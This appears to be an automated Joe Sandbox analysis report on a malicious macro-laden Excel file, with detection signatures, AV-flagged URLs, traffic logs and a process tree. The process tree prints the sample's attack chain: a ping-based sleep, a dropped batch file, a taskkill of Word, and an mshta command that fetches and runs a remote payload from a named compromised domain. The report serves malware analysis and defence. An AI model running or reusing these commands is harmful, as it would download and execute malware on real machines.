Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.6905.7305

Overview

General Information

Sample Name:SecuriteInfo.com.Exploit.Siggen3.17149.6905.7305 (renamed file extension from 7305 to xls)
Analysis ID:684651
MD5:3bc62bd8b910eb17b12a3b69fc050571
SHA1:e4b91c0b407197bbfc6cbd1b6436a69277620db5
SHA256:8e2a3f67543b17ea35bc2c3bbcdbb9100fda5cb2fb90e911bef2943f76dc2bef
Tags:xlsx
Infos:

Detection

Score:92
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Document exploit detected (creates forbidden files)
Antivirus detection for URL or domain
Machine Learning detection for sample
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Document contains an embedded VBA macro with suspicious strings
Document exploit detected (process start blacklist hit)
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Stores large binary data to the registry
Document contains an embedded VBA macro which executes code when the document is opened / closed
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
IP address seen in connection with other malware
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Potential document exploit detected (unknown TCP traffic)
Searches for the Microsoft Outlook file path
Uses a known web browser user agent for HTTP communication
Installs a global mouse hook
Creates a window with clipboard capturing capabilities
Uses taskkill to terminate processes
Document contains embedded VBA macros
Potential document exploit detected (performs HTTP gets)
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w7x64
  • EXCEL.EXE (PID: 2352 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
    • cmd.exe (PID: 2080 cmdline: cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
      • PING.EXE (PID: 1244 cmdline: ping -n 8 127.0.0.1 MD5: 5FB30FE90736C7FC77DE637021B1CE7C)
      • cmd.exe (PID: 1796 cmdline: cmd /c start /min taskkill /f /im WINWORD.EXE MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
        • taskkill.exe (PID: 1120 cmdline: taskkill /f /im WINWORD.EXE MD5: 3722FA501DCB50AE42818F9034906891)
      • mshta.exe (PID: 2524 cmdline: mshta http://facextrade.com.br/wp-includes/certificates/4.txt MD5: 95828D670CFD3B16EE188168E083C3C5)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsMetadefender: Detection: 27%Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsReversingLabs: Detection: 41%
Antivirus / Scanner detection for submitted sample
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsAvira: detected
Antivirus detection for URL or domain
Source: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.cssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFrameworkAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3http://Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txthAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtiAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.pngAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0VAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0http:Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2Ps=Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.cssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.pngAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtAWinSta0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtsmshtaAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/style.cssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpgAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.cssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txthttp://facextrade.com.br/wp-includes/certificAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/style.cssAvira URL Cloud: Label: malware
Machine Learning detection for sample
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xlsJoe Sandbox ML: detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
Source: unknownHTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.22:49178 version: TLS 1.2

Software Vulnerabilities

barindex
Document exploit detected (creates forbidden files)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\Public\Outlook.batJump to behavior
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe
Source: global trafficDNS query: name: facextrade.com.br
Source: global trafficDNS query: name: netdna.bootstrapcdn.com
Source: global trafficDNS query: name: translate.google.com
Source: global trafficDNS query: name: storage.ie6countdown.com
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49177 -> 142.250.181.238:80
Source: global trafficTCP traffic: 142.250.181.238:80 -> 192.168.2.22:49177
Source: global trafficTCP traffic: 192.168.2.22:49177 -> 142.250.181.238:80
Source: global trafficTCP traffic: 192.168.2.22:49177 -> 142.250.181.238:80
Source: global trafficTCP traffic: 142.250.181.238:80 -> 192.168.2.22:49177
Source: global trafficTCP traffic: 142.250.181.238:80 -> 192.168.2.22:49177
Source: global trafficTCP traffic: 192.168.2.22:49177 -> 142.250.181.238:80
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
